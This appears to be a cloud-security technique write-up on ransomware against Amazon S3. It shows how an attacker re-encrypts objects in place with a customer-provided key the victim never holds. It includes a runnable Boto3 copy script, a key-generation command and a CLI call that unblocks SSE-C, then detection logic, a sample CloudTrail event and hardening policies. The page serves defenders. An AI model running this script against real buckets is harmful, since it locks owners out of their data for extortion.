How the technique works

Amazon S3 can encrypt an object with a key supplied in the write request. This mode is server-side encryption with customer-provided keys, or SSE-C. It can be abused as S3 ransomware because S3 uses the supplied key but does not store it. After re-encryption, the victim cannot recover the current object version from AWS. Recovery depends on the attacker-controlled key, a previous object version, or an independent backup.[1]

A principal with object read and write access can call CopyObject with the same object as both source and destination while supplying a new SSE-C key for the destination. S3 performs the copy internally and makes the SSE-C-encrypted copy current. This avoids downloading and re-uploading the object through attacker infrastructure. AWS documented malicious use of this pattern after observing large volumes of SSE-C CopyObject requests that overwrote customer objects.[2]

flowchart TB
    P([Compromised principal])
    B[SSE-C enabled S3 bucket]
    O[Existing S3 object]
    C[In-place CopyObject]
    K(Attacker-controlled AES-256 key)
    R[Current SSE-C object version]
    P -.->|optional s3:PutEncryptionConfiguration| B
    P -->|s3:GetObject + s3:PutObject| C
    O -->|copy source| C
    B --> C
    K -->|SSE-C destination headers| C
    C --> R
    class P principal
    class B,O,C,R awsResource
    class K credential
S3 copies the object over its existing key and discards the customer-provided encryption key after the operation.

This is a server-side transformation. The object does not need to pass through attacker infrastructure. CopyObject handles an object up to 5 GB in one request. Larger objects require multipart copy through CreateMultipartUpload, UploadPartCopy, and CompleteMultipartUpload.[3]

Preconditions

The shortest path requires a general-purpose bucket where SSE-C writes are already enabled and a principal with:

  • s3:GetObject on the source object.
  • s3:PutObject on the destination object.
  • Knowledge of the object key, or s3:ListBucket to enumerate keys.

If the source uses SSE-KMS or DSSE-KMS, the principal also needs the applicable KMS decryption permission. If the source already uses SSE-C, the original SSE-C key is required to decrypt it for copying.[3:1]

SSE-C does not apply to S3 directory buckets.

SSE-C blocking introduced in 2026

Starting in April 2026, AWS disabled SSE-C writes by default for new general-purpose buckets and for existing buckets in accounts that contained no SSE-C-encrypted objects. Existing accounts with any SSE-C objects were not changed. New buckets in the Middle East (Bahrain) and Middle East (UAE) Regions are also excluded from the new default.[4]

When SSE-C is blocked, S3 rejects PutObject, CopyObject, multipart upload, and replication requests that specify SSE-C with 403 AccessDenied. A principal with s3:PutEncryptionConfiguration can enable SSE-C by setting BlockedEncryptionTypes to NONE through PutBucketEncryption.[5]

A bucket policy or AWS Organizations resource control policy that denies SSE-C writes still applies after the bucket setting is changed.

Execution

Generate a 256-bit key and expose its Base64 representation to the Python process:

export SSE_C_KEY_B64="$(openssl rand 32 | base64 -w 0)"

The following script copies one object over itself. Passing a structured CopySource lets Boto3 encode the source key correctly. Boto3 also populates the SSE-C key MD5 field when it is omitted.[6]

import base64
import os

import boto3

BUCKET = "application-archive"
OBJECT_KEY = "exports/2026-08-31.tar"

sse_key = base64.b64decode(os.environ["SSE_C_KEY_B64"], validate=True)
if len(sse_key) != 32:
    raise ValueError("SSE-C requires a 256-bit key")

s3 = boto3.client("s3")
s3.copy_object(
    Bucket=BUCKET,
    Key=OBJECT_KEY,
    CopySource={"Bucket": BUCKET, "Key": OBJECT_KEY},
    MetadataDirective="COPY",
    TaggingDirective="COPY",
    SSECustomerAlgorithm="AES256",
    SSECustomerKey=sse_key,
)

The operation requires no source SSE-C parameters when the existing object uses SSE-S3, SSE-KMS, DSSE-KMS, or no explicit encryption. An SSE-C source additionally requires CopySourceSSECustomerAlgorithm and CopySourceSSECustomerKey with the original key.

If SSE-C is blocked and the principal has s3:PutEncryptionConfiguration, it can be enabled before the copy. This example retains an SSE-S3 default while allowing SSE-C writes:

aws s3api put-bucket-encryption \
  --bucket application-archive \
  --server-side-encryption-configuration '{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      },
      "BlockedEncryptionTypes": {
        "EncryptionType": ["NONE"]
      }
    }]
  }'

In an unversioned bucket, the copy replaces the previous object. In a versioning-enabled bucket, S3 creates a new current version and retains the previous version as noncurrent. CopyObject is a write operation for versioning purposes.[7]

Object Lock protects retained object versions from permanent deletion, but it does not prevent a new version or delete marker from becoming current. A locked previous version therefore remains a recovery source even while ordinary reads resolve to the new SSE-C version.[8]

Detection

The clearest indicator is a successful CopyObject data event where the request uses SSE-C and the copy source resolves to the same bucket and key as the destination. Raise severity when one principal repeats that pattern across many objects.

CloudTrail does not record S3 object data events by default. The trail must include write events for the relevant AWS::S3::Object resources.[9]

The focused event below contains the fields that identify the encryption mode, source, destination, principal, and server-side transfer pattern. AWS recommends inspecting requestParameters.x-amz-server-side-encryption-customer-algorithm, while additionalEventData.SSEApplied records SSE_C for an SSE-C object write.[2:1][10]

{
  "eventTime": "2026-09-01T12:00:00Z",
  "eventSource": "s3.amazonaws.com",
  "eventName": "CopyObject",
  "awsRegion": "us-east-1",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/ApplicationRole/session"
  },
  "sourceIPAddress": "198.51.100.24",
  "requestParameters": {
    "bucketName": "application-archive",
    "key": "exports/2026-08-31.tar",
    "x-amz-copy-source": "application-archive/exports/2026-08-31.tar",
    "x-amz-server-side-encryption-customer-algorithm": "AES256"
  },
  "additionalEventData": {
    "SSEApplied": "SSE_C"
  },
  "resources": [
    {
      "type": "AWS::S3::Object",
      "ARN": "arn:aws:s3:::application-archive/exports/2026-08-31.tar"
    }
  ],
  "eventCategory": "Data"
}

Detection inputs

Event source and name Operation-specific fields Why it matters
s3.amazonaws.com and PutBucketEncryption requestParameters.bucketName, requestParameters.serverSideEncryptionConfiguration.rules[].blockedEncryptionTypes.encryptionType NONE enables SSE-C writes on a bucket where they were blocked.
s3.amazonaws.com and CopyObject requestParameters.bucketName, requestParameters.key, requestParameters.x-amz-copy-source, requestParameters.x-amz-server-side-encryption-customer-algorithm, additionalEventData.SSEApplied Identifies an in-place, server-side rewrite using SSE-C.
s3.amazonaws.com and CreateMultipartUpload requestParameters.bucketName, requestParameters.key, the SSE-C algorithm header, additionalEventData.SSEApplied Starts the equivalent path for an object larger than 5 GB.
s3.amazonaws.com and UploadPartCopy Destination bucket and key, upload ID, part number, copy source and range Connects source object ranges to the multipart destination.
s3.amazonaws.com and CompleteMultipartUpload Destination bucket and key, upload ID Makes the completed multipart SSE-C object current.
s3.amazonaws.com and DeleteObject requestParameters.bucketName, requestParameters.key, requestParameters.versionId Shows attempts to remove previous versions that could support recovery.

Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, sourceIPAddress, userAgent, errorCode, resources[].ARN, and responseElements.x-amz-version-id across the sequence.

Correlation logic

  1. Select successful CopyObject events where the SSE-C algorithm is AES256 or additionalEventData.SSEApplied is SSE_C.
  2. Normalize x-amz-copy-source and compare it with the destination bucket and key. An exact self-copy is the primary signal.
  3. Group by principal, source address, and bucket. Alert on a burst across multiple object keys, especially when SSE-C is absent from the approved application baseline.
  4. Raise confidence when PutBucketEncryption set BlockedEncryptionTypes to NONE shortly before the object writes.
  5. For multipart copies, join CreateMultipartUpload, UploadPartCopy, and CompleteMultipartUpload by upload ID and destination object.
  6. Raise severity when the same principal requests object versions or permanently deletes noncurrent versions.

A failed burst with AccessDenied is also useful. It can show attempted SSE-C copies against buckets protected by the 2026 default, a bucket policy, or an RCP.

GuardDuty S3 Protection with Extended Threat Detection can detect potential SSE-C ransomware activity. Treat it as complementary to direct CloudTrail correlation rather than a replacement for S3 write data events.[2:2][11]

Hardening

The most effective controls prevent SSE-C writes, prevent a principal from changing that decision, and preserve versions outside the writer’s authority.

Control Implementation Why it helps
Blocked encryption type Keep BlockedEncryptionTypes.EncryptionType set to SSE-C on general-purpose buckets that do not require it. S3 rejects SSE-C object writes before encryption occurs.
Bucket policy or RCP Deny s3:PutObject when s3:x-amz-server-side-encryption-customer-algorithm is present. Prefer an RCP where the restriction should survive account-level policy changes.[2:3] Prevents SSE-C writes even if the bucket encryption setting is changed to NONE.
Encryption configuration Limit s3:PutEncryptionConfiguration to dedicated deployment roles and monitor every PutBucketEncryption change. Prevents a general object writer from enabling SSE-C.
Object permissions Separate s3:GetObject and s3:PutObject where workloads do not need both, and scope write access to exact prefixes. Removes the read-and-rewrite combination required by self-copy.
Version recovery Enable S3 Versioning and restrict s3:DeleteObjectVersion and changes to bucket versioning. Keeps the pre-copy version available after an SSE-C overwrite.
Immutable recovery Apply Object Lock retention to recovery-critical versions, or maintain backups in another account with separate administration. Prevents the object writer from destroying the recovery copy.
Detection coverage Enable targeted S3 write data events and alert on SSE_C, self-copy relationships, multipart copy sequences, and BlockedEncryptionTypes: NONE. Exposes both the enablement step and the object-impact sequence.

An AWS-provided deny statement for a bucket that does not use SSE-C is:

{
  "Sid": "RestrictSSECObjectUploads",
  "Effect": "Deny",
  "Principal": "*",
  "Action": "s3:PutObject",
  "Resource": "arn:aws:s3:::application-archive/*",
  "Condition": {
    "Null": {
      "s3:x-amz-server-side-encryption-customer-algorithm": "false"
    }
  }
}

References


  1. Amazon S3 User Guide, Using server-side encryption with customer-provided keys. ↩︎

  2. AWS Security Blog, Preventing unintended encryption of Amazon S3 objects. ↩︎ ↩︎ ↩︎ ↩︎

  3. Amazon S3 API Reference, CopyObject. ↩︎ ↩︎

  4. Amazon S3 User Guide, Default SSE-C setting for new buckets FAQ. ↩︎

  5. Amazon S3 User Guide, Blocking or unblocking SSE-C for a general purpose bucket. ↩︎

  6. Boto3 API Reference, S3.Client.copy_object. ↩︎

  7. Amazon S3 User Guide, How S3 Versioning works. ↩︎

  8. Amazon S3 User Guide, Locking objects with Object Lock. ↩︎

  9. Amazon S3 User Guide, Amazon S3 CloudTrail events. ↩︎

  10. AWS Storage Blog, Auditing Amazon S3 encryption methods for object uploads in real time. ↩︎

  11. Amazon GuardDuty User Guide, GuardDuty Extended Threat Detection. ↩︎